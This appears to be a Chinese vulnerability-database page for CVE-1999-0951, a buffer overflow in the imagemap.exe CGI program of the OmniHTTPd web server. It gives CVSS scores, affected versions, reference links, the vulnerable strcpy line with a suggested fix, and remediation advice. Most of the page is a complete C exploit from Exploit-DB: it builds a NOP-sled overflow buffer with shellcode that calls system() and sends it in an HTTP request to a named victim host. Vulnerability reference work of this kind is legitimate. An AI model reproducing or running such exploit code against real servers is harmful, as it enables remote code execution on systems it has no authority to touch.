CVE-1999-0951
CVSS10.0
发布时间 :1999-10-22 00:00:00
修订时间 :2008-09-09 08:36:14
NMCOE    

[原文]Buffer overflow in OmniHTTPd CGI program imagemap.exe allows remote attackers to execute commands.


[CNNVD]OmniHTTPD缓冲区溢出漏洞(CNNVD-199910-040)

        OmniHTTPd CGI程序imagemap.exe存在缓冲区溢出漏洞。远程攻击者利用该漏洞执行命令。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:omnicron:omnihttpd:2.4pro
cpe:/a:omnicron:omnihttpd:1.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0951
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0951
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199910-040
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/739
(UNKNOWN)  BID  739
http://www.osvdb.org/3380
(UNKNOWN)  OSVDB  3380

- 漏洞信息

OmniHTTPD缓冲区溢出漏洞
危急 缓冲区溢出
1999-10-22 00:00:00 2006-11-16 00:00:00
远程  
        OmniHTTPd CGI程序imagemap.exe存在缓冲区溢出漏洞。远程攻击者利用该漏洞执行命令。

- 公告与补丁

        Since source code for the imagemap program is supplied, UNYUN of Shadow Penguin Security suggests that checking for oversized arguments be added to the code:
        void main(int argc, char **argv)
        {
         ----------- omit ----------
         char OutString[100];
         ----------- omit ----------
         if(argc >= 2) {
         //
         // extract x & y from passed values
         //
         strcpy(OutString, argv[1]);
         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        Buffer overflow caused by this strcpy().
        This overflow can be avoided if you put the following code before
        strcpy().
        if (strlen(argv[1])>99) exit
        There are no known vendor provided solutions to this problem.

- 漏洞信息 (19566)

Omnicron OmniHTTPD 1.1/2.4 Pro Buffer Overflow Vulnerability (EDBID:19566)
windows remote
1999-10-22 Verified
0 UNYUN
N/A [点击下载]
source: http://www.securityfocus.com/bid/739/info

There is a remotely exploitable buffer overflow vulnerability in the CGI program "imagemap", which is distributed with Omnicron's OmniHTTPD. During operations made on arguments passed to the program, a lack of bounds checking on a strcpy() call can allow for arbitrary code to be executed on the machine running the server. 

/*=============================================================================
   Imagemap 1.00.00 CGI Exploit (Distributed with OmniHTTPd 1.01 and Pro2.04)
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =============================================================================
*/
#include    <stdio.h>
#include    <string.h>
#include    <windows.h> 
#include    <winsock.h>

#define     MAXBUF          2000
#define     RETADR          348
#define     JMPADR          344
#define     HTTP_PORT       80

unsigned int mems[]={
0xBFB50000, 0xBFB72FFF,  0xBFDE0000, 0xBFDE5FFF,
0xBFE00000, 0xBFE0FFFF,  0xBFE30000, 0xBFE42FFF,
0xBFE80000, 0xBFE85FFF,  0xBFE90000, 0xBFE95FFF,
0xBFEA0000, 0xBFF1EFFF,  0xBFF20000, 0xBFF46FFF,
0xBFF50000, 0xBFF60FFF,  0xBFF70000, 0xBFFC5FFF,
0xBFFC9000, 0xBFFE2FFF,
0,0};

unsigned char exploit_code[200]={
0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
0xFF,0x00
};

unsigned char cmdbuf[200]="msvcrt.dll.system.welcome.exe";

unsigned int search_mem(unsigned char *st,unsigned char *ed,
                unsigned char c1,unsigned char c2)
{
    unsigned char   *p;
    unsigned int    adr;

    for (p=st;p<ed;p++)
        if (*p==c1 && *(p+1)==c2){
            adr=(unsigned int)p;
            if ((adr&0xff)==0) continue;
            if (((adr>>8)&0xff)==0) continue;
            if (((adr>>16)&0xff)==0) continue;
            if (((adr>>24)&0xff)==0) continue;
            return(adr);
        }
    return(0);
}

main(int argc,char *argv[])
{
    SOCKET               sock;
    SOCKADDR_IN          addr;
    WSADATA              wsa;
    WORD                 wVersionRequested;
    unsigned int         i,ip,p1,p2;
    static unsigned char buf[MAXBUF],packetbuf[MAXBUF+1000];
    struct hostent       *hs;

    if (argc<2){
        printf("usage: %s VictimHost\n",argv[0]); return -1;
    }
    wVersionRequested = MAKEWORD( 2, 0 );
    if (WSAStartup(wVersionRequested , &wsa)!=0){
        printf("Winsock Initialization failed.\n"); return -1;
    }
    if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
        printf("Can not create socket.\n"); return -1;
    }
    addr.sin_family     = AF_INET;
    addr.sin_port       = htons((u_short)HTTP_PORT);
    if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
            if ((hs=gethostbyname(argv[1]))==NULL){
                printf("Can not resolve specified host.\n"); return -1;
            }
            addr.sin_family = hs->h_addrtype;
            memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
    }
    if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
        printf("Can not connect to specified host.\n"); return -1;
    }
    memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;
    for (i=0;;i+=2){
        if (mems[i]==0) return FALSE;
        if ((ip=search_mem((unsigned char *)mems[i],
            (unsigned char *)mems[i+1],0xff,0xe3))!=0) break;
    }
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;
    buf[JMPADR  ]=0xeb;
    buf[JMPADR+1]=0x06;

    strcat(exploit_code,cmdbuf);
    p1=(unsigned int)LoadLibrary;
    p2=(unsigned int)GetProcAddress;
    exploit_code[0x0d]=p1&0xff;
    exploit_code[0x0e]=(p1>>8)&0xff;
    exploit_code[0x0f]=(p1>>16)&0xff;
    exploit_code[0x10]=(p1>>24)&0xff;
    exploit_code[0x1e]=p2&0xff;
    exploit_code[0x1f]=(p2>>8)&0xff;
    exploit_code[0x20]=(p2>>16)&0xff;
    exploit_code[0x21]=(p2>>24)&0xff;

    memcpy(buf+RETADR+4,exploit_code,strlen(exploit_code));
    sprintf(packetbuf,"GET /cgi-bin/imagemap.exe?%s\r\n\r\n",buf);
    send(sock,packetbuf,strlen(packetbuf),0);
    closesocket(sock);
    printf("Done.\n");
    return FALSE;
}






		

- 漏洞信息

3380
OmniHTTPd imagemap.exe Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

OmniHTTPd contains a flaw that allows a remote attacker to execute arbitrary code on a vulnerable server. The issue is due to the "imagemap.exe" program (installed by default) not sanitizing input. By passing overly long arguments to the program, the attacker can overflow a strcpy() call and execute remote code.

- 时间线

1999-10-22 Unknow
1999-10-22 Unknow

- 解决方案

Upgrade to version 2.10 or higher, as it has been reported to fix this vulnerability. It is also possible to correct the flaw by implementing the following workaround: Remove the imagemap.exe program if it is not required.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站